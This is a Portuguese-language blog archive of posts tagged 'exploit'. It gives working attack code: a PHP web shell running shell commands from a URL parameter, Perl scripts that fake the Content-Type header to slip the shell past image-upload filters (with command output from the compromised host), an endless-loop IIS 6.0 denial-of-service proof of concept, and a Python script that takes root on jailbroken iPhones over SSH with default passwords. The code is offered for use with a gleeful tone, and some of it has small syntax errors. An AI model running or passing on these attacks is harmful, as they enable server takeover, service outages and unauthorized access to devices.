Assinatura RSS

Arquivo da tag: exploit

Bypassing uploaders de imagem em PHP

Publicado em

Uploaders de imagem podem ser mortais se não programados com a devida sabedoria, alguém mal intencionado poderia aproveitar-se desse recurso pra ganhar uma web shell no servidor, coisa que nenhum webmaster gostaria que acontecesse 🙂

Content-type verificação:

Muitos sistemas de upload usam esse método para “filtrar” os tipos de arquivos que serão postos no servidor

Vamos ver a anatomia do ataque:

Ex: “upload.php”


<?php

if($_FILES['userfile']['type'] != "image/gif") {
    echo "Foda-se Noob, sua shell aqui não tem vez!";
    exit;
}

$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "Upload com sucesso!";\n";
} else {
    echo "Erro no upload.\n";
}

?>

O sistema de upload acima faz uma verificação do tipo de arquivo que será posto no servidor e se o arquivo não for o requerido (a imagem) a ação não será concluída.
Vamos tentar fazer um upload de uma shell com uma ajuda de uma aplicação em perl, para que possamos ver em modo debug:


<?php
$command = $_GET['command'];
system($command);
?>
#!/usr/bin/perl

use LWP;
use HTTP::Request::Common;

$ua = $ua = LWP::UserAgent->new;

$res = $ua->request(POST 'http://localhost/upload.php',
             Content_Type => 'form-data',

	     Content => [
	      userfile => ["shell.php", "shell.php"],

	     ],
	    );
print $res->as_string();

Acompanhe a simulação:

Como podemos ver nosso upload foi negado : (

Mas não esquente a cabeça! temos uma solução.

Vamos forjar o conteúdo a ser enviado setando o “Content-Type” que é requerido (image/gif) com a ajuda da biblioteca libwwwperl :


#!/usr/bin/perl

use LWP;
use HTTP::Request::Common;

$ua = $ua = LWP::UserAgent->new;;
$ua->proxy('http', 'http://localhost:808/'); #Proxy ou seja, camisinha.

$res = $ua->request(POST 'http://localhost/upload.php',
 Content_Type => 'form-data',
 Content => [
 userfile => ["shell.php", "shell.php", "Content-Type" => "image/gif"],
 ],
 );
print $res->as_string();

Acompanhe:

Yeah! O exploit conseguiu nos dar uma shell no web server \o/

http://localhost/uploads/shell.php?command=dir


O volume na unidade C nÆo tem nome.  O n£mero de s‚rie do volume ‚ EC41-0BB2   Pasta de C:\Documents and Settings\Spectrum_Bill\fuck\htdocs\uploads  10/12/2010  22:14    _Bill_              . 10/12/2010  22:14    _Bill_              .. 10/12/2010  22:14    _Bill_                56 shell.php                1 arquivo(s)             56 bytes                2 pasta(s) 46.232.084.480 bytes dispon¡veis

Verificação do conteúdo da imagem:

Ao invés do programador usar verificações com o cabeçalho Content-type, é muito comum usa-se a função getimagesize() que tem a função de retornar as dimensões juntamente com o tipo de arquivo
Ex:


<?php

$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
 echo "Você novamente?! Dessa vez não vai funcionar.\n";
 exit;
}

$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
 echo "Upload com sucesso.\n";
} else {
 echo "Falha no upload.\n";
}

?>

Fazendo a mesma tentativa de anteriormente:

Humm e agora?

Temos uma ideia, vamos usar algum editor de imagem que faça comentários no interior de imagens, como um velho programa chamado edjpgcom ou até mesmo o próprio Gimp.
Vamos fazer com que a função getimagesize() verifique normalmente a extensão da imagem( que contem no seu interior <?php phpinfo(); ?> ) e depois setamos a extenção do arquivo em .php como se fosse uma imagem “limpa”:


#!/usr/bin/perl

use LWP;
use HTTP::Request::Common;

$ua = $ua = LWP::UserAgent->new;;

$res = $ua->request(POST 'http://localhost/upload2.php',
 Content_Type => 'form-data',
 Content => [
 userfile => ["crocus.gif", "crocus.php", "Content-Type" => "image/gif"],
 ],
 );
print $res->as_string();

Acompanhe:


Indo ver o estrago:

To be continued

Ainda vou mostrar mais algumas tecnicas quando tiver tempo ;*

Microsoft IIS 6.0 ASP Stack Overflow (Stack Exhaustion) DoS

Publicado em

Produto afetado: Microsoft IIS 6.0
Exploit testado em:Windows Server 2003 SP2

Detalhes:

<% Dim variable variable = Request.Form(“FOOBAR”) %>

A variável faz uma requisição que suporta um limite de 40000 caracteres, se posto a mais que isso entrará em crash:

PoC Exploit

# IIS 6.0 ASP DoS PoC
# usage: perl IISdos.pl
use IO::Socket;
$|=1;
$host = $ARGV[0];
$script = $ARGV[1];
while(1) {
$sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp');
$write = "C=A&" x 40000;
print $sock "HEAD /$script HTTP/1.1\r\nHost: $host\r\n"
."Connection:Close\r\nContent-Type: application/x-www-form-urlencoded\r\n"
."Content-Length:". length($write) ."\r\n\r\n" . $write;
print ".";
while(<$sock>) {
print;
}
}

É por essas que eu gosto do apache ;o)

Iphone || Ipod root exploit

Publicado em

Got root?

Requerimentos:
-Jailbroken instalado
-SSH server

#!/usr/bin/python
#iSSHpwn.py
#Coded in python by chroniccommand
#Simple 'exploit' to gain remote root on jailbroken iPod touch / iPhone's
#Victim must still have the default password on
#I use the term 'exploit' loosely

import os, pexpect, sys

#Default for iPod / iPhone 2G is alpine
alpine = “alpine”
#Default for iPod / iPhone 1G is dottie
dottie = “dottie”
print(“\t[+]Welcome to iSSHpwn”)
print(“\t[+]g0t r00t?”) # <= Maybe 😉
print(“\t[*]Using IP: 192.168.1.3”)
print(“\t[+]Trying to connect to port 22(SSH)…\n”)
print(“——————————————-“)
try:
foo = pexpect.spawn(‘ssh root@192.168.1.3’) #Connect via SSH
foo.expect(‘.*ssword:’)
foo.sendline(alpine) #Interchange with either dottie or alpine
print(“[+]g0t Sh3ll! Root acquired”)
print(“[+]Type ‘logout’ to end session”)
foo.interact() #Interact and spawn a shell
print(“\tHope you had fun ;)”)
except:
print(“\t[+]Spl0it failed :(“) #Well thats not good :/
print(“\t[+]Either the target is not jailbroken, SSH is closed or the password is neither alpine or dottie”)
sys.exit()

Playstation 3 (PS3) exploit

Publicado em

Geohot, aquele muleque que desbloqueou a firmware do iphone teve uma nova façanha, desta vez ele descobriu um exploit para a mais nova versão do playstation!

Muitos não gostaram, como sempre¬¬’, disseram que com isso iria aumentar a pirataria e blá, blá, blá; tristeza de poucos, alegria de muitos! ;D

Segue alguns comentarios dele

Tutorial de como usar (inglês)

Download do source do exploit